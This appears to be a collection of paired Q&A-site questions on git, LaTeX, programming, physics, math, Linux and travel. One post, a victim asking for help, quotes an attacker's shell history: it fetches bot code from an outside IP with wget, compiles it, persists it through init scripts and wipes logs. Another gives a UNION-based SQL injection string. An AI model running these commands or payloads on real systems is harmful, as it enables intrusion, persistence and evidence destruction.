I am trying to migrate my app code from bitbucket to github. I changed the remotes on my folder but when I tried to push on my new repo I had an error as I add a file that was too big in size.  I deleted the file then git add . and commited the change but when I try to push the code on my repository, I still have the same error as if the big file is still there :  Counting objects: 7302, done. Delta compression using up to 4 threads. Compressing objects: 100% (5689/5689), done. Writing objects: 100% (7302/7302), 385.41 MiB | 2.14 MiB/s, done. Total 7302 (delta 3982), reused 3468 (delta 1527) remote: error: GH001: Large files detected. You may want to try Git Large File Storage - https://git-lfs.github.com. remote: error: Trace: 22d95f5ef2a2bcab974f9ccbe5819675 remote: error: See http://git.io/iEPt8g for more information. remote: error: File wefootapp.zip is 351.71 MB; this exceeds GitHub's file size limit of 100.00 MB To git@github.com:davidgeismar/wefootapp.git  ! [remote rejected] master -> master (pre-receive hook declined) error: failed to push some refs to 'git@github.com:davidgeismar/wefootapp.git'   what should I do for git to understand that the file was deleted?

I accidentally committed an unwanted file (filename.orig while resolving a merge) to my repository several commits ago, without me noticing it until now. I want to completely delete the file from the repository history.   Is it possible to rewrite the change history such that filename.orig was never added to the repository in the first place?


I have a figure consisting of three subfigures, but they are all contained within a single .png file.  There's a blank space in the bottom-right portion of the figure, where I'd like the figure caption to appear.  Is it possible to overlay the figure caption on top of the figure, like shown in the figure below?  I tried using "overpic", with the MWE below, but it doesn't work as written.    \documentclass[]{article}%     \usepackage{graphicx}     \usepackage[demo,abs]{overpic}   \begin{document}          \begin{figure}[!ht]         \centering   \begin{overpic}[width=\textwidth]{TEMP.png}             \caption{Caption goes here}         \end{overpic}         \label{fig}   \end{figure}  \end{document}

I know how to add a picture to my LaTeX file, e.g. \includegraphics[width=7cm]{curve.pdf}. What I'd now like to do is place some latex symbols onto the picture. Like a \gamma to name a curve. I do not want to do that in the graphics editing program e.g. because I might want to rename that curve later and don't want to repeat the editing process.  I know I can do a \put in a picture environment. But this environment forces me to specify its size at the beginning. That would be cumbersome since I'd have to go open the graphics file and do some calculations. Is there a way to get the dimensions (or aspect ratio) of a graphics file within LaTeX, so I might use it there? But even if I could do these calculations automatically, I still wouldn't like the redundancy of specifying the width for \includegraphics again, but I could live with that.  Also, is it possible to specify the size in cm to the picture environment? I just tried and got some errors.  So basically what I am looking for is a solution as simple as possible which:  a) lets me specify a width or a height and a file, and displays the image scaled while keeping its aspect ratio and then   b) lets me put LaTeX stuff inside the image in relative coordinates (percentages or 0...1), so I won't have to redo anything should I decide that the image needs to be a bit larger or smaller.  (b is kind of like setting \unitlength to the whole width=height for the 'picture' environment. But of course most images are not square and I also don't appreciate the redundancy (but could live with it).)


I am trying to convert an object of a class in c# to an other class. I cannot explicitly cast because of the type of fields I have inside.   Assume Class A has ID (int), Cobrand (string) and Values (class X) also Class B has ID(int), Cobrand (string) and Values (class X)  if it was just converting from ClassA to ClassB with class X inside , I would either do    ClassA _classA = (ClassA)_classB    or    _classA.ID = _classB.ID;  _classA.Cobrand = _classB.Cobrand;   Since I have a class inside these classes (even though they are same) I get an error saying "Cannot convert type ClassB.ClassX to ClassA.ClassX". How can I cast and convert this?

Suppose I have two classes:  public class Student {     public int Id {get; set;}     public string Name {get; set;}     public IList<Course> Courses{ get; set;} }  public class StudentDTO {     public int Id {get; set;}     public string Name {get; set;}     public IList<CourseDTO> Courses{ get; set;} }   I would like to copy value from Student class to StudentDTO class:  var student = new Student(); StudentDTO studentDTO = student;   How can I do that by reflection or other solution?


This is the piece of code I used from the SCJP book. I understand that == compares the memory location of the objects to find the equality and .equals compares the hashcode to determine the equality.  My question is in the below snippet, in the overrided equals method we compare :  (((Moof)o).getMoofValue()) == this.getMoofValue()  in the above code, does the == compare the memory location of the string value? If it does then it should be false. But it returns true. How does the == work here?  public class EqualsTest {      public static void main(String args[]){         Moof one = new Moof("a");         Moof two = new Moof("a");         if(one.equals(two)){             System.out.println("Equal");         }         else{             System.out.println("Not Equal");         }     } }        public class Moof {         private String moofValue;         public Moof(String i){             this.moofValue = i;         }         public String getMoofValue(){             return this.moofValue;         }         public boolean equals(Object o){             if((o instanceof Moof) && (((Moof)o).getMoofValue()) == this.getMoofValue()){                 return true;             }             return false;         }     }

I've been using the == operator in my program to compare all my strings so far. However, I ran into a bug, changed one of them into .equals() instead, and it fixed the bug.  Is == bad? When should it and should it not be used? What's the difference?


In all these 3 cases, the net electric flux is found to be $q/2ε_0$. I think this has something to do with the integral of $\left(\mathbf{E}\boldsymbol{\cdot}\mathrm d\mathbf{S}\right)$ which appears on the left side of Gauss's Law. We are somehow exploiting the symmetry to arrive at the result where the $\mathbf{E}$ (or electric field) in the formula comes out of the integral. But I don't know how? Secondly, does the electric flux remain the same when we place the point charge on the face of an unsymmetrical 3d object instead of these 3 objects (cube, cone and hemisphere) ? If anyone would be kind enough to help me out in the simplest way possible, that would make my understanding clear!

Suppose you place a point charge $+Q$ at the corner of an imaginary cube.  Since electric field lines are radial, there is no flux through the three adjacent (adjacent to the charge) sides of the cube. However there is some amount of flux passing through the other three sides of the cube (flowing out of the cube).  We can estimate that the flux through these three surfaces combined is equal to $Q/(8\epsilon)$. As, if you consider $7$ other cubes having the charge at the corner, each of them would have equal flux flowing out by symmetry and since the total flux through the $8$ cubes is $Q/\epsilon$, each cube would have a flux of $Q/(8\epsilon)$.  Now apply Gauss' law to the cube, and we find that the cube encloses a charge of $Q/8$.  This means that 1/8th of the charge belongs to this cube.   But the charge we placed was a point charge with no dimensions. It cannot be split into parts.  What is wrong?


I`m very newbie in physics and want to study on amateur level.  I`m interested in Quantum Physics, can anybody advice some books?

I'm really interested in quantum theory and would like to learn all that I can about it. I've followed a few tutorials and read a few books but none satisfied me completely. I'm looking for introductions for beginners which do not depend heavily on linear algebra or calculus, or which provide a soft introduction for the requisite mathematics as they go along.  What are good introductory guides to QM along these lines?


Bash is using a different color for tab completion than ls. For example, my ls command uses a red color for a broken symlinks (I'm using dircolors to configure it), but if I use ls Tab, the color is blue. I already have the set colored-stats On in my .inputrc.  I remember an option like set .... ls '' which did the trick, but I accidentally didn't save this option.  So, how to make bash tab complete use the same colors as ls?

I use ubuntu 11.04.  Is there a way to set coloring for output after tab completion listing of a cd, ls, or etc. ?  i.e.   myshell@root$ cd ~/user/files/ I hit tab...  myfile myfoo  mybar <--  this output is colored?  I hope you enjoyed my diagram.


I have had this Macbook pro since a few months and I am trying to download XCode. I have about 12GB free and apparently that is not enough to install the app. What is weird is that I had about 6GB free and I deleted the old XCode which according to Finder was 12GB, and my new total available space is only 12GB. Is Finder totally rubbish at estimating disk space? When I go into about this Mac it tells me I have about 16GB of Apps and 21GB of "Other"    When I look in my Applications folder I don't see anything close to 16GB:    Same when I look for files that would account into Other, I am nowhere near that. Can anyone help me out finding where this usage is coming from?  EDIT: To be clear I am not trying to find out how much space XCode needs, but where to find these GBs that my computer says are used  Thanks

Every few days I get notices on my MacBook that it's running or run out of hard drive space. Curiously, restarting the computer will enable me to recover gigabytes of space (this past time, it was able to recover about 2.2GB). However, I can't identify anything in my personal activity that consumed that space.  It's possible that it's a rogue iTunes podcast or a huge software update that my Mac is automatically downloading - would either of these reclaim the space upon a restart?  One possibility that I can think of is that FileVault has some sort of disk leak, allocating but not freeing files. Does this make sense? Is there a tool that I can run to determine where this space is going? Assuming it is FileVault, should I try to disable it? What's the best way to turn of FileVault on a nearly full computer?


Prove that if $ p $ is prime number $(p >3)$, then the number $p^2+2015$ is    multiple of $24 $?  Thank you for any help

Let $p>3$ be a prime. Prove that $24 \mid p^2-1$.   I know this is very basic and old hat to many, but I love this question and I am interested in seeing whether there are any proofs beyond the two I already know.


What is the general rule behind mixing tenses in sentences such as this:  "He said he was hungry" versus "He said he is hungry"  My colleague thinks you can't say the latter because "said" and "is" are in different tenses. But I think the first sentence risks confusing the situation completely as it can possibly imply that he he was hungry but is not anymore. The second sentence I think implies that he was hungry and probably still is.

I'm sure people are familiar with the "rule" that the tense is moved backward when using reported speech i.e. "I am..." becomes "He said he was..."   However, there are many cases where it is OK not to change the tense e.g. "I'm going on holiday next week" being reported a short time later/the same day as He said he is going on holiday next week, which in my opinion invalidates the original rule as it is an unhelpful attempt to be prescriptive about English usage.   Can anyone offer an intuitive explanation as to why/when it is OK not to change the tense, or perhaps to explain what differences in meaning are implied when each is used?


We logged remotely into our CentOS server today using Putty, and while wandering through previous commands using the up arrow, stumbled across the following:  unset HISTFILE mkdir /usr/lib/tmp  cd /usr/lib/tmp  wget http://188.72.217.17/mzb.c -o /dev/null wget http://188.72.217.17/windef.h -o /dev/null gcc mzb.c -o /bin/bot -lpthread rm -rf mzb.c rm -rf windef.h wget http://188.72.217.17/botsupport.sh -o /dev/null chmod +x botsupport.sh mv botsupport.sh /etc/init.d/httpd2 cat /etc/init.d/network > /etc/init.d/network.bp echo \#\!/bin/sh  >  /etc/init.d/network echo nohup /etc/init.d/httpd2 \& >> /etc/init.d/network cat /etc/init.d/network.bp >> /etc/init.d/network cat /dev/null > /var/log/lastlog history -c nohup /etc/init.d/httpd2 &   (&&'s replaced with newlines for clarity)  I never ran these commands, EVER! How did this happen, is my server being hacked? I immediately changed my root password, but was hoping someone could make heads or tails of what's happening over here.  I see references made in the source to ddos bots, and me and my colleague are seriously concerned!  Thanks in advance!

This is a  about Server Security - Responding to Breach Events (Hacking)   See Also:                  Canonical Version I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism:   What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", are there other initial considerations? How do I go about getting services back online? How do I prevent the same thing from happening immediately again? Are there best practices or methodologies for learning from this incident? If I wanted to put a Incident Response Plan together, where would I start? Should this be part of my Disaster Recovery or Business Continuity Planning?   Original Version       2011.01.02 - I'm on my way into work at 9.30 p.m. on a Sunday because our server has been compromised somehow and was resulting in a    attack on our provider. The servers access to the Internet   has been shut down which means over 5-600 of our clients sites are now   down. Now this could be an FTP hack, or some weakness in code   somewhere. I'm not sure till I get there.      How can I track this down quickly? We're in for a whole lot of   litigation if I don't get the server back up ASAP. Any help is   appreciated. We are running Open SUSE 11.0.            2011.01.03 - Thanks to everyone for your help. Luckily I WASN'T the only person responsible for this server, just the nearest. We managed   to resolve this problem, although it may not apply to many others in a   different situation. I'll detail what we did.      We unplugged the server from the net. It was performing (attempting to   perform) a Denial Of Service attack on another server in Indonesia,   and the guilty party was also based there.      We firstly tried to identify where on the server this was coming from,   considering we have over 500 sites on the server, we expected to be   moonlighting for some time. However, with SSH access still, we ran a   command to find all files edited or created in the time the attacks   started. Luckily, the offending file was created over the winter   holidays which meant that not many other files were created on the   server at that time.      We were then able to identify the offending file which was inside the   uploaded images folder within a  website.      After a short cigarette break we concluded that, due to the files   location, it must have been uploaded via a file upload facility that   was inadequetly secured. After some googling, we found that there was   a security vulnerability that allowed files to be uploaded, within the   ZenCart admin panel, for a picture for a record company. (The section   that it never really even used), posting this form just uploaded any   file, it did not check the extension of the file, and didn't even   check to see if the user was logged in.      This meant that any files could be uploaded, including a PHP file for   the attack. We secured the vulnerability with ZenCart on the infected   site, and removed the offending files.      The job was done, and I was home for 2 a.m.            The Moral   - Always apply security patches for ZenCart, or any other CMS system for that matter. As when security updates are released, the whole   world is made aware of the vulnerability.   - Always do backups, and backup your backups.   - Employ or arrange for someone that will be there in times like these. To prevent anyone from relying on a panicy post on Server   Fault.


For example, when I use the card , I counter two spells. Does it mean I can put two of my opponents spells (which may be enchantments or creatures) into its owner's graveyard?  I am new to MtG so I might ask stupid questions.

Say, I have , which is an Instant, on my hand. It can counter any spells.   The opponent has had a creature, for example , on the battlefield for several turns attacking and blocking.  Can I use my Cancel onto Ajani's Pridemate and send it to the graveyard (or to its owner's hand)?


I know that maybe this question has been asked many times, but most likely from different nationalities.  I did read quite a lot of questions and unfortunately I didn't see anyone with my nationality. I'm a Bulgarian passport holder( BULGARIA IS NOT IN THE VISA WAIVER PROGRAM) and I will travel from London(Heathrow) to Chile(Santiago) through Atlanta with layover for more than 5 hours.  DO I NEED ESTA OR ANY KIND OF VISA? I'm 99% sure that ESTA is only required for passport holders under the VISA WAIVER PROGRAM, but wanted to ask just in case.  I already asked the airline I'm flying with, but still waiting for respond and I'm kind of nervous about it...so would like to know as soon as possible. If anyone has relevant information will be highly appreciated.  Thanks, Zamtelligent

In Europe usually you don't need to go through immigration to change planes (unless you are entering/exiting Schengen). Is it the case in the US as well? May I catch a connecting flight on one of the US airports if I don't have US visa?


My log file was too big, and I made it unrestricted in growth. Should I shrink it with SQL Server Management Studio?  What are the downsides, if any, of doing this?

This one seems to be a common question in most forums and all over the web, it is asked here in many formats that typically sound like this:  In SQL Server -  What are some reasons the transaction log grows so large? Why is my log file so big? What are some ways to prevent this problem from occurring? What do I do when I get myself on track with the underlying cause and want to put my transaction log file to a healthy size?


I have a Quotation table with QuotationID, ClientID field. A QuotationDetail table with QuotationID, ProductID A Sales table with Year, ProductID, ClientID and Quantity.  I'm trying to create a view with the following columns: QuotationID | Client Name | Product Name | Quantity2015 | Quantity2016  I am able to join the quotations table with clients and products but can't figure out how to SUM Quantity values for each view row filtering by YEAR (2015 and 2016).  PS: I did not specify but I have the Clients and Products tables with the fields I mentioned.

I have a table that looks like this (oversimplified case of the actual case to make my point)  CREATE TABLE sales (    id int,    currency VARCHAR(5),    price int    shop_id int );   Now I need to make a query that will give me something like this table, grouping by shops yet giving sum of sales per currency My problem is when I make currency column non aggregate it fails because my query becomes non standard. When I add currency to group by then each currency creates new row, something I don't want. I have run out of option and would appreciate any help or pointer to the right direction.  I use MySQL but would appreciate if I would get the solution that works with more databases (PostGreSQL being at the top of the list after MySQL)  Query that works with undesired results  SELECT   shop_id,           (CASE WHEN currency= "GBP" THEN SUM(price) ELSE 0 END) AS POUND,           (CASE WHEN currency= "USD" THEN SUM(price) ELSE 0 END) AS USDOLLAR GROUP BY shop_id, currency   The data that should be produced by the query  shop_id     |   POUND   |   USDOLLAR     -----------------------------------------     1       |   400     |   300 -----------------------------------------     2       |   250     |   100 -----------------------------------------     3       |   400     |   100 -----------------------------------------


So I am new to Ubuntu and everything seemed to be working fine till a few days ago.  Now I constantly get a dialog box saying the filesystem is running out of space.   Here is the system monitor screenshot. Ubuntu is on /dev/sda5  I am aware there are other similar questions but the answers seem very technical. Can someone help with this considering I am very new to Ubuntu.  Should I just do a fresh install after backing up the drive?  TIA    cat /procs/mount output:

I know how to check space left with:  df -h   and I know to check the space of a folder with:  du -ch /path/to/folder/   But let's say I have a 500 GB HardDisk and 350GB are used:   Wich is the best tool/command to get how the space is distributed ? Should I do du -ch / ? (I think this is not optimal) There is any special tool/app to do this ?    I'd like an app that stores how the space is distributed in my system, wich are the space occuped in each folder...  I'd like to have something like SpaceSniffer (You can check the windows tool ). It is a Windows program that examine your HardDisk and show in a easy & nice IU how the space is distributed on your computer  This kind of software is awesome for that day you check your HardDisk and it seems you've "lost" hundred of GB's and don't know where they are !     Edit   I've tried baobab and runs/works perfectly in my Ubuntu machine, I tested also JDiskReport, here I have to fix some issues but it works in Ubuntu & Windows I assume JDiskReport will work in any  OS with Java installed, that's why I choose as correct answer. I've tried this in Ubuntu, Windows 8, Raspbian and CentOS and works in all of them (you have to install Java) I have to say for those lovers of command-line your choice should be ncdu, it's awesome !!!   Baobab IU:


I'm currently in the process of converting some uses of unsigned int to size_t in my a code base that I have been developing over the years. I understand the difference between the two and that for example unsigned int could be 32-bit while pointers and size_t could be 64-bit. My question is more about where I should use either one and what kind of convention people use for picking between the two.  It's quite clear that memory allocation should take size_t instead of unsigned int as an argument, or that container classes should use size_t for size and indexing like in STL. These are the common cases referred when reading about the benefits of size_t vs unsigned int. However, while working on the code base conversion I stumbled upon quite a few cases in gray areas where I'm not sure which one to use. For example if 4x4 matrix row/column index should be size_t for consistency regardless the index being in range [0, 3], or if screen/texture resolution should use size_t despite of being in range of few thousand, or in general if the reasonable number of objects is expected to be in the range of tens I should still use size_t for consistency.  What kind of coding conventions you use for picking between unsigned int and size_t? Should everything that's representing size (in bytes or objects), or index be always size_t regardless of the reasonably expected range? Is there some widely accepted size_t convention used in well-established libraries that I could follow?

I notice that modern C and C++ code seems to use size_t instead of int/unsigned int pretty much everywhere - from parameters for C string functions to the STL.  I am curious as to the reason for this and the benefits it brings.


I asked a collegue why he used final keyword for the assignment in this method and his response was, "Why not?". I don't see the benefit of putting final here. Or often times, I see it in class definitions as well.  protected void sendIndexWorkflowRequest(Status status) {      final long contextId = status.getAppContextId();     PrepareIndexPostData preparePostData = new PrepareIndexPostData.Builder(contextId).build();      searchIndexService.activateAggsIndex(preparePostData); }

I've found a couple of references () that suggest using final as much as possible and I'm wondering how important that is. This is mainly in the the context of method parameters and local variables, not final methods or classes. For constants, it makes obvious sense.  On one hand, the compiler can make some optimizations and it makes the programmer's intent clearer. On the other hand, it adds verbosity and the optimizations may be trivial.  Is it something I should make an effort to remember?


I often read that one should not use xspace package, but why? Can someone give an example of problems caused?

I'm certain I have read that xspace can cause more problems than it solves.  But I cannot find anything to that effect either on this site or the web. Are there any drawbacks or risks associated with it?


I understand the difference between the PASSID number and the Global Entry number, what I'm not sure about is which one I'm supposed to give the airline for international travel?   Do they only need the PASSID number or do I need to give them the Global ID number instead?

There are two 9-digit numbers on the back of the Global Entry card. The one on the upper left corner is the Known Traveler Number or PASSID. But on the upper right hand corner there is another 9-digit number, slightly larger than the PASSID. What is the purpose of this second 9-digit number?


I have a website where I display digital proofs for clients of professional photographers.  I would like to include an option of 'zooming' into the full resolution version of the image, but it is absolutely imperative that it be practically impossible for the end user to reconstruct and save/print the image.  Obviously simply disabling right clicking is out, as the user could simply dig up the image in the cache.  Breaking the image into tiles, then reconstructing them via javascript has merit; the user could still dig up the tiles and put them together in Photoshop, but is that practical for them?  That's up for debate.  I was also wandering today if the image couldn't be read, sent as a character string of pixel color values, and then constructed on the client side using an absolutely positioned element for each pixel.  But my potential solutions seem to be getting more and more ridiculously convoluted.  And I'd like something that's been tested and shown to be scalable.  I can't possibly be the first to deal with this problem.  Is there something else out there that I don't know about?  What is the standard, accepted way to do this?  As an aside, I am aware that I will want to make the image data unavailable to external http requests.  I would plan to have ColdFusion read the image file on demand and stream it to the client.  Thanks!

What are some effective strategies for preventing the use of my proprietary images?  I'm talking about saving them, direct linking to them etc...  Presently I have a watermark on the image, but I'd rather not.  .NET platform preferred, but if there's a strategy that's on another platform that integrates with my existing application that'd be a bonus.


This phenomenon can be summarized as thus:   You are in one area of your house.  You are in the midst of a task Something is required from another area of the house.  You leave to get it When you arrive there, you see a non-related task.  It is a quick task.  You do this quick task, and remember you were in the first room doing the primary task.  You return there Upon returning you immediately remember that you couldn't continue until you obtained the item from the second room, where you did the quick, unrelated task   What is the term or phrase that describes this phenomenon?

I'm fairly certain this has happened to all of us at some point: You go into a room to get something, but once you're there, you can't remember what you intended to get. It seems like a specific, common phenomenon like this must have a name, but I can't think of it. Does anyone know a name (either formal or slang) for this?  I don't want a general term like forgetfulness or absent-mindedness, which could apply to all sorts of forgetting, or a term for not being able to remember a certain word. I'm looking for a word or phrase that describes this one specific situation of forgetting what you need to get as soon as you go to get it.


A link to the answer:   My guess is that those formulas don't get their height calculated correctly.   App Version: 1.5.3.5 Device: iPhone 6s OS Version: Version 10.0 (Build 14A5345a)

This bug is intermittent, only showing up on some answers, but not others.  Sometimes, posts that have mathjax equations expand the math, but don't resize the text box, cutting off some text on the bottom.  Note that this is on the IOS public beta, so that may partially have caused the problem.     App Version: 1.5.3.5 Device: iPhone 5s (GSM) OS Version: Version 10.0 (Build 14A5322e)


I have a list of arbitrary length, and I need to split it up into equal size chunks and operate on it. There are some obvious ways to do this, like keeping a counter and two lists, and when the second list fills up, add it to the first list and empty the second list for the next round of data, but this is potentially extremely expensive.  I was wondering if anyone had a good solution to this for lists of any length, e.g. using generators.  I was looking for something useful in itertools but I couldn't find anything obviously useful. Might've missed it, though.  Related question:


I Have used a byte Array like this:  byte[] fileContents =  Files.readAllBytes(path);     for(int i = 0 ,j = 1; i <fileContents.length ; i++)         FileContents += Integer.toBinaryString(fileContents[i]);          System.out.println(FileContents);   but when I run this on a File containing :  Ananay   it shows this:  java.lang.NullPointerException at java.lang.String.replace(String.java:2239) at UEX.<init>(UEX.java:21) at test.testEncryption(test.java:38) at __SHELL54.run(__SHELL54.java:5) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at bluej.runtime.ExecServer$3.run(ExecServer.java:743)   Thanks in advance.  (I prefer to use a String in this case even though it is not recommended)

What are Null Pointer Exceptions (java.lang.NullPointerException) and what causes them?  What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?


I have this page:  <!DOCTYPE html>     <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">   <title>test</title>            <?php ini_set("display_errors","On");      echo "
";         echo "<input type=\"button\" value=\"type here\" onClick=\"ShowPage()\">";     echo "
"; }  ?>    And when I push the button it loads this into the UpdateArea Div:  <?php  echo "<textarea id=\"input\" rows=\"10\" cols=\"50\" class=\"textarea\"></textarea>

";  echo "

";  ?>   But the jQuery wont Work on the Ajax loaded contents :/ So the input won't show up ind the output div.. Why is that?, I'm new to jQuery, so it might be a obvious problem. I would really appreciate some help :)   The Jquery Works fine if I include the script a jQuery on a page for it self and load it.  Kind regards Juel

I have a bit of code where I am looping through all the select boxes on a page and binding a .hover event to them to do a bit of twiddling with their width on mouse on/off.  This happens on page ready and works just fine.  The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound.  I have found this plugin (), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.


Is there any automatic SQL injection prevention PHP libraries. Something like, check the incoming parameters like GET,POST and check the possible SQL attack signatures before continue executing the site's codes.  Like example: ')//UniON//aLL//SELECt//nULL,nULL,nULL,nULL,nULL,nULL,nULL,nULL,nULL,nULL--/**/uHkS  In above URL I have passed sql syntax in GET parameter,  PHP libraries will check the GET, POST parameters before the project codes started executing and if any SQL attacks include, will exist the request immediately.Throw an exception message.

Is there a catchall function somewhere that works well for sanitizing user input for SQL injection and XSS attacks, while still allowing certain types of HTML tags?


Basically a neutron/quark star that approaches it's Schwarzschild radius but doesn't surpass it. Its gravitational force is great enough to not let light escape from it, but not great enough to become a black hole.

As I understand black holes, they're considered "black" because the escape velocity is, or exceeds, the speed of light. Alternatively, the escaping light is redshifted infinitely.  The Schwarzschild radius of an object is the radius of a sphere with equivalent mass for which the escape velocity is c.  Logically, this effect would occur on a continuum and wouldn't simply be state-dependent. That is, if you add a differential amount of mass to an object repeatedly it will (eventually) gradually redshift out of visibility and become a black hole. It won't simply vanish when the appropriate mass has been collected.  This suggests to me that, somewhere, there exist objects with enough mass to be highly redshifted but not enough to be "black."   Would it be possible to identify such an object from associated effects, such as gravitational lensing, or, without closer inspection, could it simply be mistaken for an extremely hot brown dwarf? (Or option C, is there a reason this couldn't happen?)


I am now use Stack Exchange using a Facebook ID. But now I want to close my Facebook account and continue on Stack Exchange. If I create new account, it will lose all my existing accounts in Stack Exchange and reputation points. So I want to give my account a password and use it without a Facebook login. Can I do this?

I always logged in in StackExchange networs sites using my openID.   Now my OpenID provider it's becoming slow to answer, and I'd like to add a password to my account, so I have an alternative login method when OpenID doesn't work.   But actually, can't figure out how to create such password. Any clue?


I'm trying to connect a dsPIC33FJ128MC804 - 16 bit pic - with a Bluetooth module  the problem is i have few baud rates of Bluetooth to choose between them , searched the net but could not find the allowed baud rate error due to baud rate generator register takes only integer values as you know , so what is the maximum allowed error ?  Edit: i read the related section of data sheet and family reference to UART but i do not think i found any information regarding this point.

I'm going to be using an 8 MHz crystal to run my microcontroller at 16 MIPS (PLL 4x, 2 cycle instructions.) However, 8 MHz doesn't divide into any UART frequencies AFAIK... so how critical are these frequencies? I plan to use 115,200 baud.  Can UART run within ±1%? If this doesn't work, what frequency should I use? (I would like to get as near to 16 MIPS as possible, for maximum processing speed.) If it matters, I'm using a PIC24FJ64GA004.


I am using Ubuntu 12.10.  When I try to update the software, it shows me this error:   Requires installation of untrusted packages This requires installing packages from unauthenticated sources. Details  kalzium-data kanagram kate-data kde-l10n-engb kde-l10n-zhcn kde-runtime-data kdegames-data klettres-data libakonadi-kabc4 liblxc0 libwildmidi-config libwildmidi1 lxc marble-data nepomuk-core-data parley-data tomboy

Any install that I'm trying through the Software Center is telling me:  Requires installation of untrusted packages: The action would require the installation of packages from not authenticated sources.  I did an apt-get update from the command line, then removed the software sources that the keys were bad from (PPAs I added myself), and unchecked them in the software sources for software center, but to no avail.  I can't install anything from software center anymore - only> from the command line with apt-get. Is uninstalling/installing the only option?  I don't want to break other PPAs that I have. Additional information: Here's a paste from apt-get update: Reading package lists... Done W: GPG error: http://ppa.launchpad.net oneiric Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY B725097B3ACC3965 W: GPG error: http://us.archive.ubuntu.com oneiric Release: The following signatures were invalid: BADSIG 40976EAF437D05B5 Ubuntu Archive Automatic Signing Key <ftpmaster@ubuntu.com>  I've tried apt-key update, and there was no effect (two keys unchanged). The output of apt-get update and apt-get upgrade, and the contents of /etc/apt/sources.list, can be found in .


For what natural numbers k and n can the polynomial $x^k+x^n$ be divided by $x^2-x+1$ Please explain the solution, or tell me what is it that I should learn/look up, in order to know how to solve such problems.

I am stuck at my exam practice here.      The remainder of the division of $x^3$ by $x^2-x+1$ is ..... and that of $x^{2007}$ by $x^2-x+1$ is .....   I tried the polynomial remainder theorem but I am not sure if I did it correctly.  By factor theorem definition, provided by ,     the remainder of the division of a polynomial $f(x)$ by a linear polynomial  $x-r$ is equal to $f(r)$.   So I attempted to find $r$ by factorizing $x^2-x+1$ first but I got the complex form $x=\frac{1\pm\sqrt{3}i}{2}=r$.   $f(r)$ is then $(\frac{1+\sqrt{3}i}{2})^3$ or $(\frac{1-\sqrt{3}i}{2})^3$ which do not sound right.  However, the answer key provided is $-1$ for the first question and also $-1$ for the second one. Please help.


I had an exam today in C and I was asked a question similar to:     What is wrong with this program:  for( x = .1 ; x != 1.0 ; x += .1)     printf("%f\n", x);    I couldn't solve it and since I had to write something I marked .1 as an error. But, when I went back home, I run this program, It turned out that it doesn't break when x equals to 1.0 and stuck in an infinite loop:  $ cat exam.c #include <stdio.h>  int main(int argc, char **argv) {     float x;      for(x = .1 ; x != 1.0 ; x += .1)         printf("%f\n", x);      return 0; } $ gcc exam.c -o exam $ ./exam 0.100000 0.200000 0.300000 0.400000 0.500000 0.600000 0.700000 0.800000 0.900000 1.000000 <- ? 1.100000 1.200000 1.300000 1.400000 1.500000 ....   Could someone please explain why this is happening.

In follow up to , it appears that some numbers cannot be represented by floating point at all, and instead are approximated.  How are floating point numbers stored?  Is there a common standard for the different sizes?  What kind of gotchas do I need to watch out for if I use floating point?  Are they cross-language compatible (ie, what conversions do I need to deal with to send a floating point number from a python program to a C program over TCP/IP)?


I'd like to run an app (Python Tk, say) prior to the login screen on LMC 17. I notice that there's plenty of Q&A on doing this on Ubuntu (, for eg), but couldn't really find anything relevant on Linux Mint.  Any ideas?   [UPDATE] Okay, I do see that the qs is very similar to the one pointed out by several folks. However, I still don't find an answer particularly pertaining to the Linux Mint 17 Cinnamon display manager -  which appears to be mdm :  $ cat /etc/issue Linux Mint 17 Qiana \n \l $ cat /etc/X11/default-display-manager  /usr/sbin/mdm $    So, particularly, how do I leverage (or otherwise) use mdm to run an app prior to login?  Note, for this to be useful: the app itself is graphical, hence X should be running by this point..

I was calibrating my touch screen, and saw that the best tool around was xinput_calibrator. So I used it. It have two options (one of which did not work), so I am here for the second. It says I should execute this command "in a script that starts with your X session":  xinput set-int-prop "3M 3M USB Touchscreen - EX II" "Evdev Axis Calibration" 32 14410 2146 14574 2115  So I tried ~/.xinitrc, ~/.xsession and ~/.xsessionrc, all of which did not exist. So I created them and the exact content was this command. The first two files made my logins fail (after I login, I fall back to the login screen).  With the last file, the calibration was functional, but only after logging in...  I need that command to run before the login dialog shows up. I thought of adding this command to the end of /etc/X11/xinit/xinitrc with no result (nothing changed). Also, I tried to add it to the end of /etc/X11/Xsession.d/40x11-common_xsessionrc (after inspecting some of the files), but the result was exactly the same as adding it to ~/.xsessionrc.  How can I make this command run before the login screen shows (is this before the window manager starts, or before the X session starts)?  (I am running Kubuntu with the default window manager, if that matters)  UPDATE As I am using Kubuntu, my display manager is kdm. As the accepted answer suggests, I edited the file /etc/kde4/kdm/Xsetup, and as mentioned  I added the command before the command that is there by default. And it works like a charm :)


How do I get the position of an HTML element relative to the page? I'd like to scroll to particular link, but it's nested inside other elements, and the offsetTop is 0. How do I get it's position relative to the whole HTML doc.   Do I need to do recursion?

I want to know how to get the X and Y position of HTML elements such as img and div in JavaScript relative to the browser window.


We can list only files opened by a specific PID as lsof -p 1000 lsof -p 1000 | wc -l  How can we list/count the files opened by a specific program/COMMAND (e.g., java)? And so much better, if we can group the number of open files for each program. I want to inspect which programs have high numbers of opened files. I want something like lsof -c "java" # -c is an imaginary argument similar to -p for process  I use Ubuntu 20.04.

I am trying to get a list of open files per process. I ran the following one-liner from :  lsof | perl -lane '$x{"$F[0]:$F[1]"}++; END { print "$x{$_}\t$_" for sort {$x{$a}<=>$x{$b}} keys %x}'   It returns the total count of open files, and the process name and pid. The result is sorted in ascending order, and the last line is as follows:  1065702 java:15437   So when I run lsof -p 15437, I would expect it to return the same number, however I'm getting:  $ lsof -p 15437 | wc -l 403   Why the discrepancy?  Addendum  A third source of discrepancy:  $ cd /proc/15437/fd $ ls -1 | wc -l 216


